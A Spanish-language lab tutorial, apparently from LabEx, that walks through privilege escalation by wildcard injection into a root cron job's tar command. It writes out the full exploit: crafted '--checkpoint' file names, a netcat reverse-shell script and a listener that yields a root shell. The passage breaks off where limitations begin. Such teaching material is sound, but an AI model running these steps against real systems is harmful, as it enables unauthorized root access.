Para entender cómo la inyección de comodines puede llevar a la escalada de privilegios, realizaremos un ejercicio práctico que involucra el comando tar
y crontab
.
-
Primero, inicialicemos el entorno del laboratorio ejecutando el siguiente comando:
Navegue hasta el directorio /home/labex/project
:
cd /home/labex/project
Ejecute el script de configuración para inicializar el entorno del laboratorio:
./env_setup.sh
Después de la inicialización, se cambiará al usuario user001
(simulando a un atacante que ha obtenido acceso inicial a la shell).
-
Luego, revise la tabla de tareas programadas de crontab
:
cat /etc/crontab
Salida esperada:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
Debería ver una tarea programada para ejecutarse cada minuto, que archiva el contenido del directorio /var/www/html/
en un archivo comprimido /var/backups/html.tgz
.
-
A continuación, eche un vistazo a los archivos dentro del directorio /var/www/html
:
ls /var/www/html
Para explotar la vulnerabilidad de inyección de comodines, necesitamos crear los siguientes tres archivos en el directorio /var/www/html/
.
Primero, navegue hasta el directorio /var/www/html
:
cd /var/www/html/
-
shell.sh
con el contenido para ejecutar una shell inversa (reverse shell):
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
-
Un archivo llamado --checkpoint-action=exec=sh shell.sh
(tenga en cuenta los espacios en el nombre del archivo):
echo "" > "--checkpoint-action=exec=sh shell.sh"
-
Un archivo llamado --checkpoint=1
:
echo "" > --checkpoint=1
Después de crear estos archivos, el directorio /var/www/html/
debería verse así:
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
-
Cuando la tarea programada de cron
ejecute el siguiente comando:
tar -zcf /var/backups/html.tgz /var/www/html/*
Se interpretará como:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
Aquí está lo que significan los parámetros:
--checkpoint
y --checkpoint-action
se utilizan típicamente juntos. El primero establece un punto de control, y el segundo especifica la acción a realizar cuando se alcanza el punto de control.
--checkpoint-action=exec=sh shell.sh
significa que cuando se alcanza el punto de control, se ejecutará el script shell.sh
.
Entonces, cada vez que se ejecute la tarea programada de cron
, se ejecutará el script shell.sh
, que establecerá una shell inversa (reverse shell) de /bin/bash
al puerto local 4444.
-
Configure un listener en el puerto local 4444 en la shell actual:
nc -lnvp 4444
Después de esperar un momento, cuando se ejecute la tarea programada de cron
, deberíamos recibir la shell inversa con privilegios de superusuario (root):
Salida esperada:
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
Intente crear un archivo success.txt
en el directorio /root
para confirmar que tiene privilegios de superusuario:
touch /root/success.txt
Si puede crear el archivo sin errores de permisos, ha escalado sus privilegios con éxito utilizando la inyección de comodines.
Hay dos limitaciones importantes para esta técnica de escalada de privilegios con tar
y crontab
: